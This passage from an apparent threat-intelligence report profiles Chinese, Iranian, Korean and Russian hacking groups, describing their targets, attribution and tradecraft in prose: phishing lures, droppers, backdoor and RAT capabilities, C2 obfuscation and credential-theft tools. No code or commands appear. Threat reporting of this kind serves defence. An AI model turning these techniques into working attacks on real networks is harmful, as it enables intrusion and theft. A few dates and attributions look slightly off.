Given its limited use and the sophistication of its application, each team behind it is likely a highly skilled special operations team within the overall group.
In recent years, Hidden Lynx added the Gresim backdoor, the Fexel backdoor, the Hikit backdoor, and the Derusbi malware to their exploit kit.
The adversary regularly exploits zero-day vulnerabilities, which are purchased, discovered, or reworked from other groups attacks.
Ultimately, Hidden Lynx is methodical and it tailors its exploit kit in each attack to its victim.
Hidden Lynx adapts and it will develop custom tools or perfect new techniques if necessary.
Most attacks begin as a watering hole attack or a spear phishing email however, Hidden Lynx has also been known to attack public facing infrastructure or hack the supply chain in order to distribute their malware.
Deep Panda / Black Vine / Pupa Deep Panda began attacking the healthcare, aerospace, and energy sectors around 2012.
Deep Panda is believed to be a Chinese state sponsored group.
Symantec believes that Black Vine may be affiliated with a Beijing IT security organization called Topsec.
Topsec is a research institute with sites across China.
Topsec focuses on information security research, training, auditing, and security products.
It also hosts a hacking competition (from which they hire hackers).
It is possible that some members of Topsec are affiliated with Deep Panda.
Deep Panda attacks tend to have massive impacts and they accrue proportional media attention.
In order to conduct multiple sizable campaigns against United States Federal government agencies and major western health care providers for extended time periods, Deep Panda must have considerable resources at their disposal.
In illustration, it is possible that Deep Panda was concurrently engaged in cyber-attacks against the United States Office of Personnel Management, the Anthem healthcare network, United Airlines, and other entities.
In December 2015, the Chinese government announced that it had arrested the actors behind the OPM breach and that Deep Panda was not responsible.
Many in the political and cybersecurity spheres remain skeptical that the arrests are legitimate.
14 Deep Panda conducts watering hole attacks zero-day exploits, and spear phishing campaigns.
The group also utilizes some of the exploits and tools from the Elderwood platform.
A vast majority, 80, of Deep Panda targets are American.
Deep Panda targets government agencies, the aerospace sector, the healthcare sector, financial organizations, technology firms, and energy entities (primarily gas and electric manufacturers).
In the United States health care sector, Deep Panda has attacked VAE, Anthem, Empire Blue Cross Blue Shield, and Carefirst.
In the recent 2014-2015 Anthem breach, the group exfiltrated 80 million patient records.
Information exfiltrated from Anthem includes social security numbers and other personal identifiable information or personal health information.
It is believed that the Axiom group also attacked Anthem at the same time as Deep Panda, but with a different malware and along different vectors.
The attack appears as a coordinated effort.
Further, enough similarities exist between the meticulous planning and malware employed by the two groups, that many security firms hypothesize that they are both part of the same group.
There is a strong possibility that the groups are affiliated.
Deep Panda is also believed to be responsible for the two 2015 OPM breaches.
The breaches resulted in the exposure of the personal information contained in the SF-86 forms of 22.1 million current and former United States Federal employees.
5.6 million fingerprint files were also stolen.
Deep Panda breached United Airlines in 2015 and stole departure and destination records.
The health, OPM, and travel records stolen by Deep Panda can be aggregated to catastrophically impact the United States government over time.
The adversary or their parent nation state can build a database of US employees for espionage purposes.
Further, the information can be used to identify United States agents in the country or to identify Chinese assets who assist United States intelligence efforts.
Even though their systems were not compromised and their agents information was not included in the breach, the CIA has already began retracting agents from the field in response to the cyber-attacks.
The CIA made this decision because State Department records were stolen in the breach and the attacker could thereby discover embassy employees who were not included in the State Department records and capture those individuals as spies or coerce their behavior.
In this manner, Deep Panda has pushed forward the boundaries of cyber-warfare to achieve a measurable physical nation-state response.
Further, physical warfare has been suggested in the United States in response to the cyber-attacks.
Deep Panda relies on the Sakurel Trojan, the Hurix Trojan, and the Mivast backdoor in its attacks.
Deep Panda is believed to have developed all of the malware themselves.
Characteristics in the malware code are shared between all three malware.
Further, each malware is capable of opening a named pipe back door and contains tools to collect and 15 exfiltrate system data, the ability to execute arbitrary code, the ability to create, modify, and delete registry keys.
The malwares are similar in that they utilized droppers that masquerade as installers for legitimate software applications like Adobe Reader, Juniper VPN, and Microsoft ActiveX Control.
In some cases, a loading bar displays and then the user redirects to a login page for the associated software.
The malwares contain measures to avoid detection.
The malwares self-obfuscate as technology related applications such as media applications or VPN technologies.
The malwares establish persistent presence on the system, deploy remote access Trojans (RATs) such as the Derusbi malware, and feature tools to record and seize user sessions.
Tools such as PwDump and Scanline are included to steal user credentials, to allow the actor to escalate their privileges, to let the actor create unmonitored accounts, and to assist the attacker in lateral movements to systems across the network.
Symantec believes that all three malware belong to the same family and that they have been updated and differentially developed over time by the same team.
The malware is usually signed by the DTOPTOOLZ Co. signature belonging to a Korean software company.
Domains and C2 servers often feature the names of Marvel comic book characters as the register.
PLA Unit 61398/ Comment Crew/ APT1 The 3rd and 4th Departments of the Peoples Liberation Army (PLA) General Staff Department (GSD) supposedly houses Chinas electronic warfare operations.
Unit 61398 is the Military Unit Cover Designator of the Chinese state sponsored advanced persistent threat that operates out of the 2nd Bureau of the 3rd Department of PLA GSD, located off Datong road in Pudong in Shanghai.
Unit 61398 is tasked with computer network operations.
It operates on four large networks in Shanghai.
Two of these networks serve the Pudong region.
The Unit has a dedicated fiber optics connection that was paid for in the name of national defense.
The 3rd Department employs over 130,000 employees.
Unit 61398 consists of personnel who are proficient in English and trained in computer security and computer network operations.
Members of Unit 61398 use Chinese (Simplified) keyboard settings.
Most of the IP addresses and the infrastructure used in the attacks trace back to China.
Unit 61398 targets sectors that are of interest to Chinas 12th Five Year Plan.
They are large enough and well-resourced enough that it can simultaneously compromise dozens of organizations.
This adversary has breached over 150 organizations since its inception in 16 2002.
The majority of victims are located in the United States.
Information Technology organizations, Aerospace firms, Public Administration agencies and other technology heavy sector are targets for Unit 61398.
The adversary targets intellectual property data and financial data.
It exfiltrates intellectual property data, proprietary documents, business plans, emails, and contacts.
Attacks begin with spear phishing emails that contain a malicious file or a malicious link.
The emails are personalized to the target and may not easily be distinguished from legitimate emails.
Attachments are usually in the ZIP format.
Once the victim system is compromised, the attacker establishes a persistent presence by installing a backdoor from the dropper delivered from the email.
The backdoor initiates contact with the C2C infrastructure from inside the network so that the traffic can bypass internal firewalls.
The actor typically relies upon WEBC2 backdoors, which are minimally featured beachhead backdoors.
WEBC2 can only communicate with a C2C server through comments.
Sometimes the BISCUIT backdoor is used if more functionality is needed.
BISCUIT uses the HTTP protocol for communication and it features modules to capture screenshots, log keystrokes, record system information, modify processes, modify the registry, execute code, log off or shut down the session, and other features.
Unit 61398 remains persistent on the compromised system and it may revisit the system over the course of months or years.
The group remains on the network for 1-5 years.
During this time, the group escalates their privileges using login credentials that it gathers from publicly available tools built into the initial malware.
Next, they conduct network reconnaissance, by typing commands into the command shell.
Finally, they laterally move across the network to infect new systems and they maintain their presence on the infected network.
Unit 61398 compresses stolen data into multiple files with a RAR archiving utility and exfiltrates the data through their backdoor or through File Transfer Protocol (FTP).
Putter Panda/ APT2/ PLA Unit 61486 Putter Panda is connected to the Peoples Liberation Armys (PLA) Third General Staff Department (GSD) 12th Bureau Military Unit Cover Designator (MUCD) 61486.
Unit 61486 supports Chinas space surveillance network.
The group may be responsible for space based signal intelligence (SIGINT) collection.
The group has been actively conducting attacks since at least 2007 and is based out of the Zhabai district of Shanghai, China.
Unit 61486 shares some infrastructure with Unit 61398.
Putter Panda targets the United States Government, Defense sector, Research sector, and Technologies sectors.
According to CrowdStrike, the United States Defense 17 industry, communication industries, and European satellite and aerospace industries are particularly targeted.
Putter Panda relies on spear phishing emails containing malicious PDFs and Microsoft Word Documents to infect its target.
Putter Pandas exploit kit includes two droppers, two RATs, and two tools.
One dropper delivers a payload, such as the 4H RAT, to the victim system and installs it.
The other dropper exclusively delivers the PNGDOWNER tool.
Putter Panda uses the 4H RAT and the 3PARA RAT.
The 4H RAT can initiate a remote shell, enumerate running processes, terminate processes, list files and directories, modify timestamps, upload files, download files, and delete files.
The RAT communicates over HTTP and the communication is obfuscated by an operation, 1-byte XOR with the key 0xBE.
The 3PARA RAT is a second stage, failsafe tool that allows the attacker to regain control of the system if their initial access vector is removed.
The 3PARA RAT creates a file map at startup to verify that there is not another instance of the RAT running.
The RAT is capable of remaining dormant for prearranged or commanded periods of time.
The RAT only has limited commands, which include retrieving file or disk metadata, changing the working directory of the current C2 session, executing a command, and listing the current working directory.
The first tool, PNGDOWNER is a simple download and execute tool.
The second tool, HTTPCLIENT is a backup tool.
The 3PARA RAT communicates over HTTP and authenticates with a 256-byte hash and a hard-coded string.
Naikon / APT 30 The Naikon group is one of the most active APT groups in Asia.
Since 2010, it has launched spear phishing campaigns into organizations surrounding the South China Sea, intent on harvesting geo-political intelligence from civilian and military government organizations in the Philippines, Malaysia, Cambodia, Indonesia, Vietnam, Myanmar, Singapore, Nepal, Thailand, Laos, and China.
The actors speak native Chinese.
Based on the choice of targets, the operating language, and the sophistication of the toolkit, there is a distinct possibility that Naikon is a Chinese state sponsored threat group.
Spear phishing campaigns begin with a lure email relevant to the victim that carries a malicious Microsoft Word document, which, according to Kaspersky Lab, actually contains a CVE-2012-0158 exploit, an executable with a double extension, or an executable with an RTLO filename.
One of its most prolific spear phishing campaigns was the March 2014 attacks targeting organizations from countries affected by the MH370 tragedy.
Upon opening/ execution, the malicious payload, an 8kb encrypted file and configuration data, is injected into the browser memory where it decrypts the ports and paths to the C2C server, a user agent 18 string, filenames and paths to relevant components, and hash sums of the user API functions.
The malicious code downloads the main malware from the C2C server over an SSL connection and then it loads it independently of the operating system functions without saving it to the hard drive by assuming control of the XS02 function and then handling the installation in memory.
The main component of the Naikon platform is a remote administration component.
According to Trend Micro, the RARSTONE backdoor (BKDR_RARSTONE.A) can obfuscate itself by decrypting and loading a backdoor executable file directly into memory without the need to drop the actual executable file.
The backdoor installs like a Plug X backdoor, injecting code into hidden instances of internet explorer.
The module establishes a connection to the C2C server to receive and execute any of an estimated 48 commands from the adversary on the host.
These commands include profiling the system, uploading and downloading data, executing arbitrary code, installing other modules, or executing commands via the command line.
The backdoor routine also has the ability to get installer properties from Uninstall Registry key entries, which allow it to silently uninstall applications that interfere with the malware.
The espionage malware collects email messages, monitors victims keystrokes and screens in real time, and monitors network traffic.
The command and control infrastructure is minimalistic and organized according to locations of victims and targets.
Communication protocol varied according to target.
Some systems connected directly to the CC servers while other systems were routed through dedicated proxy servers.
The proxy servers were victim hosts running the XSControl software, which accepted incoming connections and routed them to relevant CC servers.
The proxy server application also offered a GUI administration utility, logged client and operator activity, and transmitted logs to an FTP server.
The operator logs contained an XML database of downloaded files (including a timestamp, the remote path and the local path), a database of filenames and victim registry keys, and a history of executed commands.
Perhaps the largest news story involving Naikon was the report by Kaspersky Lab that a rival APT in the region, dubbed the Hellsing group, had attacked the Naikon group.
In March 2014, Hellsing group received a spear phishing email from Naikon and Hellsing responded with a reply message containing a locked malicious RAR archive labeled confidential data.
The archive contained two PDFs and a SCR file, a backdoor specifically customized to target the Naikon group.
The backdoor can upload and download files, update itself, and uninstall itself.
19 Mirage The April 2012 Mirage campaign targeted a high profile oil company in the Philippines, a military organization in Taiwan, an energy company in Canada, and organizations in Brazil, Israel, Egypt, and Nigeria.
The Mirage attacks are attributed to the Chinese government or a state sponsored threat actor.
The campaign was investigated while advanced persistent threat groups were still developing into their current structure consequently, the campaign was not investigated to the same level of detail as modern threats.
The most distinct commonality between victims was that all parties were involved in the contest for rights to survey natural gas and oil in the South China Sea.
It is believed that the intent of the campaign was to exfiltrate confidential information, steal intellectual property, or to construct a botnet.
The actors began the campaign by targeting mid-level to senior-level executives with spear phishing emails that contain malicious droppers that install the Mirage malware.
The droppers are disguised as PDF attachments.
If opened, then the dropper is deployed and an embedded PDF of a news story, relevant to the target, opens.
The dropper contains a copy of the Mirage malware, which executes and copies itself into either C:\ Documents or C:\ Windows.
The copy starts and the original closes.
The new Mirage establishes persistence in the event of reboot by creating registry keys.
The malware obfuscates its presence through the creation of one or more files named svchost.exe, ernel32.dll, thumb.db, csrss.exe, Reader_SL.exe, and MSN.exe.
The malware profiles the system (MAC address, CPU speed, memory size, system name, and user name) and sends the information back to the command and control infrastructure via a HTTP request over ports 80, 443, and 8080.
It can implement SSL for added security.
The first variant of Mirage communicated via a HTTP POST request and it transferred information that was lightly encrypted by adding each characters ASCII value to its offset from the start of the payload.
The second variant of the malware communicated through HTTP GET requests and it encrypted data the same way as the former version except that the payload of the initial request is encapsulated in a Base64-encoded string.
The Mirage toolkit consisted of a backdoor and a remote access trojan (RAT).
At the time of its discovery in 2012, the command and control structure consisted of over 100 domains.
By the end of 2012, the Mirage campaign went dormant.
However, some of its infrastructure reappeared in the 2015 Hellsing campaign.
20 Iran: Tarh Andishan/ Operation Cleaver In April 2010, a worm called Stuxnet, allegedly jointly developed by the United States and Israel, targeted Siemens industrial control systems (ICS) in developing nations such as Iran (59), Indonesia (18), and India (8).
Stuxnet contained a programmable logic controller (PLC) rootkit designed to spy upon, subvert, and in some cases sabotage Siemens supervisory control and data acquisition (SCADA) systems that regulated specific industrial systems.
In particular, Stuxnet variants were deployed by a nation state actor against Iranian industrial facilities associated with its nuclear program, such as uranium enrichment facilities.
The Stuxnet infection was discovered three months later, but variants continued to compromise Iranian systems through 2012.
Irans nuclear infrastructure and its oil and gas infrastructure was also targeted by the Duqu malware from 2009-2011, and the Flame malware in 2012.
In response to adversarial cyber campaigns, Iran began rapidly developing its cyber infrastructure.
In December 2014, ICIT Fellow Cylance exposed Iranian threat actor, Tarh Andishan in the white paper of their 2-year Operation Cleaver investigation.
Tarh Andishan was likely developed in response to the Stuxnet, Duqu, and Flame campaigns.
Iran could be demonstrating to global targets that it is a major cyber power, capable of competing with countries such as the United States, China, and Russia, on the global cyber landscape.
Cylance released Operation Cleaver early to allow potential targets the opportunity to mitigate the threat to their systems, so they estimate that they only discovered a portion of the activity of Tarh Andishan.
Nevertheless, Cylance managed to build an impressive profile of Tarh Andishans operation, including hacker profiles, domain names, internal infrastructure, and indicators of compromise.
The infrastructure used to host the attacks belonged to the corporate entity Tarh Andishan in Iran, after which the threat group is named.
The infrastructure was hosted by an Iranian provider (Netafraz.com), and Autonomous System Networks (ASNs), IP source netblocks, and domains were registered in Iran.
The netblocks utilized had strong associations to state-owned oil and gas companies that employ individuals with expert knowledge of ICS systems.
Further, tools in the malware warn the attackers if their outward facing IP address traces back to Iran.
The infrastructure utilized by the group is too robust and too centralized to have belonged to an individual or small grass-roots hacktivist group.
This leads leading security firms, such as Cylance, to believe that Tarh Andishan is either state sponsored or a well-funded mercenary hacker group.
21 In Farsi, Tarh Andishan translates as Thinkers, Innovators, or Inventors.
Tarh Andishan consists of at least 20 dedicated hackers and developers, believed to be located in Tehran, Iran.
Additional, members or hired associates operate out of the Netherlands, Canada, and the United Kingdom.
Persian names (Salman Ghazikhani, Bahman Mohebbi, etc.)
were used as hacker monikers.
Most targets of Tarh Andishan speak English as a primary language and it appears that members of the group are proficient in reading and writing in English.
Different members of the group specialize in different malware, different malware development tools, different programming languages and different adversary techniques.
Tarh Andishan targets government entities and critical infrastructure facilities in Canada, China, England, France, Germany, India, Israel, Kuwait, Mexico, Pakistan, Qatar, Saudi Arabia, South Korea, Turkey, United Arab Emirates, and the United States.
Specifically, Tarh Andishan has been known to target: military installations, oil and gas facilities, energy facilities, utility facilities, transportation facilities, airlines, airports, hospitals, telecommunication companies, technology firms, institutions of education and research, aerospace and defense facilities, chemical companies, and governments.
The expansive range of targets across the globe indicates that the Tarh Andishan campaign is likely a mechanism for gaining geopolitical leverage and establishing Iran as a cyber-power.
Iran may be demonstrating that it can retaliate against any country that compromises its cyber-security.
Academic institution networks are often targeted by malware because universities, especially those that work with their government in some capacity, sponsor valuable research.
Universities often store sensitive PII documents and research on local servers.
Yet, university networks are de-centralized and often poorly secured because different schools on campuses host different networks that are supported by different IT teams and each network needs to be accessible to thousands of users with varying needs.
While the origins of Stuxnet have never been definitively confirmed, it is believed to have originated out of a university research program.
Tarh Andishan targets university networks for research, but according to Operation Cleaver, it also attempts to steal student PII, student photos for identification cards, and passport information from universities in the United States, India, Israel, and South Korea.
Student PII and photos could be used for identity theft, but it could also be used for intelligence purposes because the next generation of government recruits and security researchers are currently students.
Tarh Andishan targeted airlines, airports, and transportation networks in South Korea, Saudi Arabia, and Pakistan by compromising Windows Active Directory and physical internal infrastructure such as Cisco edge switches, and routers.
From there, the attackers stole VPN credentials so that they could establish a persistent presence and so that they could remotely access the entire infrastructure and supply chain.
Tarh Andishan used the 22 compromised credentials and VPN access to compromise airport gates, access security control systems, make fraudulent payments with Paypal and Go Daddy, and to infect other internal infrastructure.
Overall, Operation Cleaver saw Tarh Andishan dangerously compromise airline networks without encountering major resistance.
Information exfiltrated by Tarh Andishan could put airline passengers at risk if Tarh Andishan used its access to compromise airline ICS, SCADA systems, or other critical infrastructure.
Further, Windows Active Directory, Cisco edge switches, and routers are components of networks in almost every organization in almost every sector.
Given its success, Tarh Andishan may easily adapt this technique to attack networks in other sectors of its attack profile, if it has not done so already.
According to Cylance, Tarh Andishans Initial compromise techniques include SQL injection, web attacks, and creative deception based attacks  all of which have been implemented in the past by Chinese and Russian hacking teams.
Tarh Andishan did not appear to utilize zero-day exploits.
The SQL injection attacks were made possible by attacking vulnerable applications that failed to sanitize input prior to passing it to a database in an SQL query.
Later, Tarh Andishan began spear phishing attacks, which involved sending victims an email with a malicious link.
One such attack told targets that they had been selected to apply for a new position at an industrial conglomerate and the link directed them to a copy of a legitimate resume creation website.
The resume tool was combined with a binder tool that loaded malware onto created documents.
The malware runs in the background of the victims system and logs keystrokes and the information entered into forms.
After the malware infected a host, the attackers would leverage existing, publically available, exploits (such as MS08-067) to escalate their privileges on Windows systems.
The malware then propagated through the network like a worm, to compromise other systems on the network.
Tarh Andishan compromises Microsoft Windows web servers that run Internet Information Services (IIS) and Coldfusion, Apache servers with PHP, Microsoft Windows desktops, and Linux servers.
The group also targets popular network infrastructure such as Cisco VPNs, Cisco switches, and routers.
Tarh Andishans most utilized malware, TinyZBot, gathers information from infected systems and it establishes backdoors for persistent access.
TinyZBot uses the SOAP sub- protocol of HTTP to communicate with the CC infrastructure and it abuses SMTP to exfiltrate data to the CC servers.
Among other capabilities, TinyZBot can also take screenshots of the system, download and execute arbitrary code, detect security software, disable some anti-virus, and modify PE resources.
Once the malware has infected the system, Tarh Andishan can use customized tools to poison ARP caches, encrypt data, steal credentials, create backdoors, create ASP.Net shells, enumerate processes, record HTTP and SMB communications, detail the network environment, query Windows Management 23 Instrumentation (WMI), log keystrokes, and more.
Effectively, Tarh Andishan can customize their tools to suit any target.
The Net Crawler tool, which combines popular attacker tools Windows Credential Editor, Mimikat, and PsExec, was used to gather the cached credentials from every accessible computer on the infected network.
Shell Creator 2 was used to generate an ASPX web shell to protect the attacker from revealing internal information such as location by human error.
The Nbrute utility uses NMap to map the network and then it attempts to determine network credentials via brute force.
The attackers can also use tools such as the PVZ bot tool to log keystrokes on specific botted systems and save information on infected systems to specific locations.
Ajax/ FLYING KITTEN/ Saffron Rose The Ajax group began in 2010 with website defacement attacks, but their activity escalated to cyber-espionage by 2013.
The groups CC infrastructure was set to Iran Standard Time and used the Persian language.
The Ajax team consists of 5-10 members and it is unclear if the group is part of a larger movement such as the Iranian Cyber Army.
The group may have been founded by members using the monikers HUrrc4nE and Cair3x.
The group uses custom malware, but they do not leverage software exploits.
The lack of exploits indicates that the group is more likely a patriotic hacktivist group than a state sponsored threat.
Ajax primarily targets United States defense contractors, firms that developed technologies that bypassed the Iranian censorship policies, and Iranian dissidents.
The group has also participated in attacks against Israel with the Anonymous group.
The group tries to lure victims into revealing login credentials or self-installing malware through basic social engineering instead of leveraging software exploits.
These social engineering attacks proceed through email, instant messages, private messages on social media, fake login pages, and anti-censorship technology that has been pre-loaded with malware.
Past messages have directed targets to a fake login or conference page.
The page spoofs a legitimate organization or application and it collects user login credentials.
After the user logs in, they are directed to a different page that tells users that their browser is missing a plugin or that they need to install proxy software, which is actually the malware.
In some cases, the messages just send the user to the latter page.
Iranian Internet Service Providers (ISPs) block unacceptable content such as pornography or sources of political dissidence.
Ajax team has been infecting anti-censorship software, such as Psiphon and Ultrasurf, with malware and redistributing it.
24 Ajax relies on the Stealer malware which consists of a backdoor and tools.
Using one tool, the attackers can create new backdoors and bind them to legitimate applications.
Stealer collects system data, logs keystrokes, grabs screenshots, collects credentials, cookies, plugin information, and bookmarks from major browsers, and collects email and instant messenger information along with any saved conversations.
Stealer also has components that acquire Remote Desktop Protocol (RDP) accounts from Windows vault and collects user browsing history.
Data is encrypted using symmetric encryption (AES-256) using a hardcoded encryption key.
The information is then exfiltrated using FTP with a built in client (AppTransferWiz.dll).
A new version of the Stealer malware, dubbed Sayad, surfaced in July 2014.
The variant includes a dropper called Binder and new communication modules that allow it to exfiltrate data using HTTP POST requests.
Binder checks the .NET runtime version of the target machine and drops the relevant version of the malware.
The malware is now more modular and contains development files suggesting the future capability to exfiltrate files from the target system.
South Korea Dark Hotel/ Tapaoux/ Nemim/ Pioneer/ Karba According to Kaspersky Lab, the Dark Hotel group may have been stealing confidential documents out of the secured computers of travelling executives since 2007.
Researchers believe that the group is Korean in origin (in part) because variants of the malware were designed to shut down and remove itself from the host system if the infected system code page was set to Korean.
Further, the kernel mode key logger used in Dark Hotel attacks has Korean characters in its code and may be tied to a South Korean programmer.
Since the group still targets North Koreans, one could suppose the Dark Hotel group originates in South Korea.
The Dark Hotel attack campaigns use a sophisticated keylogger and extensive infrastructure to steal confidential information directly relevant to South Korea from employees of other nations.
Consequently, there is a strong likelihood that Dark Hotel is a partially or fully state sponsored threat actor.
The Dark Hotel group targets high-profile executives, sales and marketing employees, RD staff, and government employees from North Korea, Japan, India, and the United States.
Notably, targets tend to be from the Asian nations with nuclear capabilities and the Unites States.
Dark Hotel often targets guests staying at luxury hotels in Asia.
A smaller number of hotels in the United States have also been infected.
Overall, fewer than two dozen hotel 25 network compromises have been discovered, but it is possible that many breaches remain undiscovered or unreported.
Hotels appear to be targeted based on the expectation that specific individuals will be staying there in the near future.
Evidence suggests that the adversary possesses knowledge of the personal information of targets, at which hotel individual targets will stay, and the duration of their stay.
The attacks may target specific individuals or all individuals who try to connect within a specific period.
It is possible that the hotel attacks target those unlikely to fall for a spear phishing campaign.
Specific targets may be located based on their Wi-Fi connection in the network, which is often secured with a password created from their surname and room number.
Either the actor targets the hotel network directly or on occasion, it compromises the third party that manages the Wi-Fi for multiple hotels.
The malware is distributed across the network either before the staff arrives to work or after they leave.
When the target concludes their stay, the adversary removes all or most traces of the attack from the hotel network.
Neither backdoors nor tools are left behind.
Upon connection to the hotel Wi-Fi, target users encounter a malicious iframe that redirects their browsers to fake update installers.
Victims see a pop-up for a software update (Adobe Flash, Google Toolbar, Windows Messenger, etc.)
that is actually a malicious executable piggybacking off a legitimate update installer.
The installer delivers one of the groups backdoors to the victim system.
Supposedly, the malicious download proceeds even if the user becomes suspicious and attempts to terminate their Wi-Fi connection.
In 2015, the group may have begun to infect mobile devices through the same process.
The malware remains dormant for an estimated six months before data collection and exfiltration begins.
This precaution evades corporate IT efforts to scan a travelling executives computer upon their return to the home network.
In addition to the hotel attacks, the group infects victims through spear-phishing attacks and P2P networks.
The spear phishing attacks are used to target a specific victim at a specific hotel while the P2P campaigns infect as many hosts as possible with botnet malware.
The spear phishing campaigns typically target the defense sector, NGOs, and government entities.
The lure emails are titled with topics related to nuclear energy or weapon capabilities.
If the target ignores the spear phishing email, the group waits (up to a month) and then tries to spear phish the target again.
The emails contain links that redirect the victims to landing pages that deliver zero-day exploits.
Sometimes an attachment containing an Adobe zero-day exploit is included instead.
Recently, some of the emails have also relied on (former) zero-day exploits that were revealed in the Hacking Team breach or have delivered malicious code disguised as .hta files.
In the P2P campaigns, the adversary compromises a swath of users through infected torrented material.
One example of how the adversary deploys malware along the P2P attack vector was caught by Kaspersky Lab in 2013 - 2014.
In this case, the malicious actor seeded 26 Japanese explicit comic book sites with the Karba trojan so that the malware would be widely and wildly distributed when torrent users downloaded the pornographic material as RAR archives on torrent clients.
The archive in question was downloaded over 30,000 times over a six-month period.
Even if the attack was only marginally successful and the malware only installed on a fraction of victim systems, the attacker still gained a sizable botnet.
Considering that the adversary could run numerous similar attacks simultaneously, it is safe to speculate that the actor can leverage an enormous botnet in attacks.
If the infected host system contains interesting information, then the actor uses the botnet to install a backdoor and more sophisticated tool kit on the system so that they can exfiltrate documents and data.
The malware appears as legitimate software verified by legitimate certificates.
The adversary did not steal certificates.
Instead, the actors generated 22 certificates by exploiting a certificate authority, DigiCert Sdn.
Bhd.,
that belonged to the Malaysian government and Deutsche Telekom, which was using weak 512-bit signing keys.
To generate legitimate certificates, the actor just factored weak 512-bit RSA digital signature keys.
Some recent malware and backdoors attributed to the group have featured SHA1 and RSA 2048-bit certificates, which may have been stolen or generated from a different source.
The groups toolkit predominately relies on a sophisticated 300 kb kernel mode keystroke logger, which operates at the system core instead of at the application layer.
As a result, it bypasses most security and detection systems.
The driver of the keylogger installs as the system kernel driver Ndiskpro service, a self-described Microcode Update Device.
The keylogger retrieves data directly from the motherboard controller at port 0x60.
A moniker in the source code of the keylogger attributes it to Chpie, a South Korean coder.
The data is transferred to the user mode component, where it is encrypted (similar to RC4) and written to a randomly named temporary (.tmp) file that is located in the same directory as the initial dropper, which maintains persistence across reboots by amending the HKCU run key.
The toolkit also contains an information stealer, the Karba trojan, research environment detection mechanisms, and selective infectors, droppers, and self-injectors.
The information stealer collects passwords and user credentials stored in browsers for email clients and social media accounts.
The Karba trojan collects system data and information about installed anti-virus software.
The primary dropper (recognized as Virus.
Win32.Pioneer.dx) drops the selective infector (igfxext.ece) to disk and runs it.
The selective infector, true to its nature as a virus, infiltrates and infects other computers through the network or through shared USB connections.
It also collects information and sends it back to the C2 infrastructure.
At least nine different backdoors have been used in conjunction with the toolkit.
No server level back doors were discovered on the hotel networks.
Server logs show that the attacker compromised the servers (through a currently unidentified attack vector), 27 infected the target hosts, deleted traces of their presence, and then abandoned the system without leaving a backdoor or other malicious code behind.
Since some attacks occurred over years, it is likely that either the attacker deleted their backdoor when they abandoned the server or that they had an insider in the target company.
Prior to discovery in October 2014, the C2C infrastructure consisted of over 200 servers containing malware, botnet logs, and stolen data.
After the campaigns were revealed to the public in late 2014, much of the C2C infrastructure was shut down however, the group remains active as of 2016 on new infrastructure.
North Korea Bureau 121/ Guardians of Peace/ Dark Seoul According to defectors, Bureau 121 is one of six divisions of North Koreas General Bureau of Reconnaissance that is charged with cyber-intelligence operations.
The bureau was created in 1998 and it consists of 1800 handpicked hackers who are allegedly the most talented and rewarded personnel within the North Korean military according to a Reuters interview with a defector known as Jang Se-yul.
Students are recruited directly from the University of Automation and paid relatively significant sums.
North Korea uses cyber-warfare as a cost effective intelligence branch of their military.
Many in North Korea see cyber-warfare as their strongest weapon.
Bureau 121 most frequently targets South Korea, Japan, and the United States.
Bureau 121 targets financial institutions and media companies.
In one March 2014 attack, 30,000 South Korean servers associated with banking and media broadcasting outlets were damaged.
These systems were infected with DarkSeoul malware and they displayed messages claiming that they were hacked by the Whois Team.
In November 2014, Sony Pictures email server was hacked by a group claiming to be called the Guardians of Peace, in response to the upcoming release of the movie The Interview because it portrays a story and portrayal that is unflattering to Kim Jong-un.
An estimated 100 terabytes of data were exfiltrated from Sony before the Wiper Trojan was used to delete the servers.
The information contained emails, unreleased films, employees personal information and financial information.
Threats were also made against Sony that contained imagery reminiscent of the September 11, 2001 attacks.
The FBI, Obama Administration, and the NSA have attributed the Sony breach to North Korea.
Members of the press and some security researchers doubt the evidence 28 attributing the Sony attack to North Korea.
North Korea may not have been capable of exfiltrating hundreds of terabytes of data.
The Whois Team and the Guardians of Peace attacks are very similar.
Both attacks were relatively unsophisticated and both attacks offered a moniker of a previously unheard of group.
The procedure of each attack was to install malware through phishing campaigns, steal data, lock down the infected systems, display a banner message claiming responsibility, and then using malware to wipe the system.
Russia: Energetic Bear/ Dragonfly/ Havex Crouching Yeti/ Koala Team Since 2011, Energetic Bear, an Eastern European threat actor, has targeted the Defense Industry, Energy Industry, and ICS equipment manufacturers, with highly technical prolonged attacks that are suggestive of a state sponsor.
Energetic Bears exploit kit features specialized malware, likely developed or adapted by the attackers, that was compiled during business hours (Monday  Friday, 9am  6pm) UTC4, which corresponds to working hours in Russia or Eastern Europe.
Most security firms conclude that Energetic Bear is a Russian state- sponsored group because the group targets nation states who are politically opposed to Russia.
Further, the malware primarily compromises petroleum and energy systems that compete with Russias energy complex in the economical arena.
Based on its choice of targets and the malware deployed, Energetic Bear seems primarily interested in gathering intelligence on its victims or their country of origin and establishing persistent access to compromised systems.
The sophisticated exploit kit could easily be used to sabotage targets operations to cause damage or disruption in critical infrastructure sectors that depend on ICS and SCADA systems.
So far, while the malware has been positioned ideally to sabotage ICS and SCADA systems, investigations by Symantec and other leading firms witness more uses of the exploit kit for espionage purposes than the sabotage purposes.
The threat actors may prefer not to utilize this capability or sabotage campaigns may occur, appearing as system failures that are not investigated as cyber-attacks.
More likely, Energetic Bear may be pre-positioning its malware in compromised systems to grant the greatest utility while allowing for every attack vector.
Given its selection of targets and its exploit kit, both of which are detailed below, Energetic Bear is uniquely positioned to assist in a combination of Digital and Physical warfare for military or political purposes.
Notably, Russia conducted such a campaign in its 2008 conflict with Georgia.
29 When Energetic Bear was discovered in 2011, the group targeted aviation and defense companies in the United States and Canada however, in 2013, energy firms in the United States and Europe became the primary targets of Energetic Bear.
In particular, the exploit kit targets the systems of ICS equipment manufacturers and petroleum pipeline operators.
Energy grid operators, electricity generation facilities, and industrial equipment providers are also susceptible to compromise.
By ingeniously targeting the smaller, less protected ICS manufacturing companies and antiquated SCADA systems, Energetic Bear is able to circumnavigate the massive state-sponsored cyber-security systems that typically protect critical infrastructure systems.
The exploit kit mimics the Stuxnet worm (which monitored and sabotaged the Iranian Nuclear program in 2011) in potential impact.
If the sabotage potential of the malware were realized, then Energetic Bear could disrupt and seriously damage energy supply and regulation systems in countries such as: the United States, Spain, France, Germany, Turkey, and Poland.
Consider the tragedy that a malicious actor could wrought with the ability to remotely destroy oilrigs, energy generation facilities, or electrical grids.
The smallest city- wide power outage has the potential to result in many deaths related to loss in electricity needed for in-home medical care, heating, and other technologies that assist in citizens daily lives.
